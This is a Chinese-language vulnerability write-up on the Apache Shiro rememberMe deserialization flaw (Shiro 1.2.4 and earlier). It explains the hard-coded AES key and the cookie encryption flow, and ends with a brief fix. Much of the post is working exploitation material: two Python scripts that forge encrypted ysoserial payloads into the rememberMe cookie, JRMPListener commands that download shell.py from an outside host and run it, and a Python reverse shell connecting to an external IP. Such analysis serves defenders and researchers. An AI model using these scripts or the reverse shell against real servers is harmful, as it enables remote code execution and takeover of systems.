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Apache Shiro Java反序列化漏洞分析

1. 前言

最近工作上刚好碰到了这个漏洞,当时的漏洞环境是:

最终利用ysoserial的CommonsBeanutils1命令执行。

虽然在ysoserial里CommonsBeanutils1类的版本为1.9.2,不过上面环境测试确实可以命令执行。

CommonsBeanutils1   @frohoff  commons-beanutils:1.9.2

这里当时有一个问题是:如何获取Java里引用组件的版本?

大多数的时候,我们只要解析pom.xml就能解析出相应组件的版本。但有的情况下,并不能获取组件的版本。比如有的pom.xml并没有设置组件的version版本,没有设置version的情况,是由依赖决定。项目中依赖了A,A依赖了B,B的版本由A决定;又或者漏洞组件A是在组件B里引用的,pom.xml里并没有组件A的配置。为了解决这个问题,我们可以用mvn dependency:tree命令获取所有组件调用关系,或者使用mvn dependency:list命令获取所有组件,只是没有调用关系。

2. 漏洞影响

Shiro版本小于等于1.2.4都受影响。

3. 环境搭建

漏洞的测试环境,可以用docker搭建,有人已经写好了。https://github.com/Medicean/VulApps/tree/master/s/shiro/1

搭建完成后,docker exec -it your_docker_id /bin/bash进入该docker的tomcat lib目录/usr/local/tomcat/webapps/ROOT/WEB-INF/lib,看到造成漏洞的jar包为:

或者如果想动态调试,可以根据Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞这篇文章自己搭建环境。不过文中并没有说如何动态调试。我描述下如何在IDEA中动态调试shiro,这里感谢@lightless指点,其实就是在IDEA中添加Tomcat运行。相关步骤如下:

Run -> Edit Configurations -> 添加TomcatServer(Local) -> Server中配置Tomcat路径 -> Deployment中添加Artifact选择sample-web:war exploded

4. 漏洞分析

先看下官网漏洞说明:https://issues.apache.org/jira/browse/SHIRO-550

我们知道,cookie可被修改,所以拿cookie进行鉴权会存在越权问题。shiro本身使用cookie的rememberMe字段对用户身份进行鉴权。为了解决越权问题,shiro用CookieRememberMeManaer类将cookie中rememberMe字段内容分别进行 序列化、AES加密、Base64编码,最后写到Cookie里。当然,cookie的rememberMe字段还有个「记住密码」的作用。

在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:

但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

4.1 加密

先来看看如何进行加密。

登录http://localhost:8080/login.jsp,勾选rememberMe,登录成功后,看到一个key为rememberMe,value长度为512的cookie。

NMhQ5j+uiYfUA+gQF93wGknW88ru39LFDKiOmaAuphx7h+r/XUhlebml7+KNwfF0gIIOnJg6LA8xVpzPJTYknq/aYPeeDNJEVYX8DSUMNUh0nbCdHW1YNuFDdBNg6chk5nEZwkh7dG9k+uAnZEfpFbRTajQ4vEolbOktGAS+feNmpurL2P/0dpWwzsSGMZubiVs0ICMVt6CS3qvU8rKC22lbPILSqTiD5Ao+6YNCm19qm/6uQ7De2E+gmKmxGA9o/EsaRUE71wdiHdJbaDeNOQ5am8rXiejqtfEl5YHzeU2MEdxqo+POVUgaSal7O3FYhLjfn4U1nS97/VUHfY7mlz3iP9rU4KvIYjtB5RhbNwkgoFmtUY6MFyFaJNoOAwKBfkeVY0w7QoF7zo0P1HEA3G1XEBR7GeC4O/XAChMnDx7NYfm5D5RZuWWNkW8qI0U9n5UJXmpVsS1hB3vor0eB/5gO5USMy+ToHAW3bOB6REK1x3/U9IS82sY/aLv7aXBA

从官网中,我们知道处理Cookie的类是CookieRememberMeManaer,该类继承AbstractRememberMeManager类,跟进AbstractRememberMeManager类,很容易看到AES的key。

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

最简单的调试方法,随意登录一个账号,勾选rememberMe按钮,在AbstractRememberMeManager类的onSuccessfulLogin方法下断点,慢慢debug,所有逻辑就会明白了。

假设我们以root的用户名的登录了。如果登录成功,shiro先将登录的用户名root字符串进行序列化,使用DefaultSerializer类的serialize方法。

    protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
        byte[] bytes = serialize(principals); // 进行序列化
        if (getCipherService() != null) {
            bytes = encrypt(bytes); // AES加密
        }
        return bytes;
    }

接着进行AES加密。动态跟踪到AbstractRememberMeManager类的encrypt方法中,可以看到AES的模式为AES/CBC/PKCS5Padding,并且AES的key为Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="),转换为16进制后是\x90\xf1\xfe\x6c\x8c\x64\xe4\x3d\x9d\x79\x98\x88\xc5\xc6\x9a\x68,key为16字节,128位。

    protected byte[] encrypt(byte[] serialized) {
        byte[] value = serialized;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
            value = byteSource.getBytes();
        }
        return value;
    }

进行AES加密,利用arraycopy()方法将随机的16字节IV放到序列化后的数据前面,完成后再进行AES加密。

最后在CookieRememberMeManager类的rememberSerializedIdentity()方法中进行base64加密:

String base64 = Base64.encodeToString(serialized);

4.2 解密

有了AES的key、加密模式AES/CBC/PKCS5Padding,由于AES是对称加密,所以我们已经可以解密AES的密文了。

第一步:获取rememberMe的Cookie

第二步:base64解码。CookieRememberMeManager类的getRememberedSerializedIdentity()方法

byte[] decoded = Base64.decode(base64);

第三步:AES解密。base64解码后的字节,减去前面16个字节。

AbstractRememberMeManager类的decrypt()方法

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

第四步:反序列化。DefaultSerializer类的deserialize()方法

    public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }
}

可以看到,解密和加密完全是对称的。第四步中的readObject()方法,由于反序列化的对象完全由外部rememberMe Cookie控制。所以,一旦添加了有漏洞的common-collections包,就会造成任意命令执行。

5. 漏洞利用

5.1 commons-collections 4.0

针对https://github.com/Medicean/VulApps/tree/master/s/shiro/1docker环境的漏洞利用比较简单。利用ysoserial的CommonsCollections2即可

import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

JAR_FILE = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'


def poc(url, rce_command):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = generator(rce_command, JAR_FILE)  # 生成payload
        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)  # 发送验证请求
        print r.text
    except Exception, e:
        pass
    return False


def generator(command, fp):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    poc('http://127.0.0.1:8080', 'open /Applications/Calculator.app')

本地成功弹计算器。

5.1 commons-collections 3.2.1

默认shiro的commons-collections版本为3.2.1,并且在ysoserial里并没有3.2.1的版本,我们利用3.2.1的payload,结果报如下错误:

java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]: 

报错的原因是因为:

Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。

当然为了证明反序列化漏洞确实存在,我们可以利用ysoserial的URLDNS gadget进行验证,参数改成dns地址,测试能收到DNS请求。不过Java默认有TTL缓存,DNS解析会进行缓存,所以可能会出现第一次收到DNS的log,后面可能收不到的情况。URLDNS gadget不需要其他类的支持,它的Gadget Chain:

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

但是可以利用ysoserial的JRMP。具体利用过程如下:

在有外网的服务器下监控一个JRMP端口,wget为要执行的命令。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl test.joychou.org'

此时执行poc,已经执行了curl test.joychou.org命令。

#coding: utf-8

import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

JAR_FILE = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'


def poc(url, rce_command):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = generator(rce_command, JAR_FILE)  # 生成payload
        print payload
        print payload.decode()
        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)  # 发送验证请求
        print r.text
    except Exception, e:
        print(e)
        pass
    return False


def generator(command, fp):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
                             stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


poc('http://127.0.0.1:8080', '47.52.77.204:12345')

不过如果想达到命令执行的目标,可以分别执行两条命令:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget test.joychou.org/shell.py -O /tmp/shell.py'

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'python /tmp/shell.py'

shell.py为反弹shell的代码:

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("47.52.77.204",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

6. 漏洞修复

升级shiro版本到1.2.4以上,不包括1.2.4

7. 总结

反序列化导致的命令执行需要两个点:

  1. readObject()反序列化的内容可控。
  2. 应用引用的jar包中存在可命令执行的Gadget Chain。

8. Reference

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